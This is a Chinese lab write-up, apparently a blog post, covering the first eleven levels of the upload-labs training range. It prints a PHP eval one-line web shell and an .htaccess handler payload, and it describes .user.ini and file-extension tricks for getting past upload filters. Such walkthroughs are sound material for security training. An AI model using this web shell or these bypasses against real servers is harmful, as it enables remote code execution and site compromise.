【靶场】upload-labs-master(前11关)

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●)
如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦


第一关 Pass-01

  1. 创建一个一句话木马,将其改为图片文件

一句话木马示例:

<?php @eval($_POST['hacker']); ?>

在这里插入图片描述

  1. 在靶场中上传图片文件并抓包
    在这里插入图片描述

  2. 将抓包到的文件后缀名改为.php
    在这里插入图片描述

  3. 返回靶场在新标签页中打开图片
    在这里插入图片描述

  4. 新标签页无任何显示即为成功解析
    在这里插入图片描述


第二关 Pass-02

  1. 查看源码发现后端PHP代码只对type进行了检查
    在这里插入图片描述

  2. 上传图片文件后抓包,将上传的PHP的content-type为image/png
    在这里插入图片描述


第三关 Pass-03

  1. 查看源码,发现禁止上传.php,那我们就上传.php3/.php5
    在这里插入图片描述

  2. 上传图片文件并抓包
    在这里插入图片描述

  3. 更改文件后缀名为.php3/.php5(我这里用了.php5)
    在这里插入图片描述


第四关 Pass-04

  1. 查看源码,发现.htaccess文件没有被禁
    在这里插入图片描述

  2. 试试上传.htaccess文件

先新建一个.htaccess文件,里面写上代码

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php

这串代码的意思是如果文件中有一个1.jpg的文件,他就会被解析为.php,把这个文件上传上去。

上传.hatccess文件后继续上传1.jpg

  1. 在新标签页打开图片

第五关 Pass-05

  1. 查看源码
    源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。
    反复观察发现没有被限制的后缀名有 .php7 以及 .ini
    在这里插入图片描述
    我们可以用.ini绕过
  2. 创建一个.user.ini文件并上传
    在这里插入图片描述

.user.ini文件里的意思是:所有的php文件都自动包含1.jpg文件。.user.ini相当于一个用户自定义的php.ini

  1. 继续上传1.jpg

第六关 Pass-06

  1. 查看源码,发现没有过滤大小写
    在这里插入图片描述

  2. 用大小写绕过
    .php 格式改为.Php 后上传即可


第七关 Pass-07

  1. 查看源码,发现没有首位去空
    在这里插入图片描述

  2. 用空格绕过
    抓包,修改上传文件后缀名为.php⚪(注意这里有个空格)
    在这里插入图片描述


第八关 Pass-08

  1. 查看源码,发现没有过滤文件名末尾的点
    在这里插入图片描述

  2. 可以使用文件名后加.进行绕过
    在这里插入图片描述


第九关 Pass-09

  1. 查看源码,发现没有去除字符串::$DATA
    在这里插入图片描述

  2. 上传图片文件,抓包改后缀为.php::$DATA
    在这里插入图片描述


第十关 Pass-10

  1. 查看源码,发现不能用特殊格式绕过
    在这里插入图片描述

  2. 将文件后缀名改为php. .
    在这里插入图片描述


第十一关 Pass-11

  1. 查看提示
    在这里插入图片描述

  2. 可以用双写绕过
    在这里插入图片描述


  • 21
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值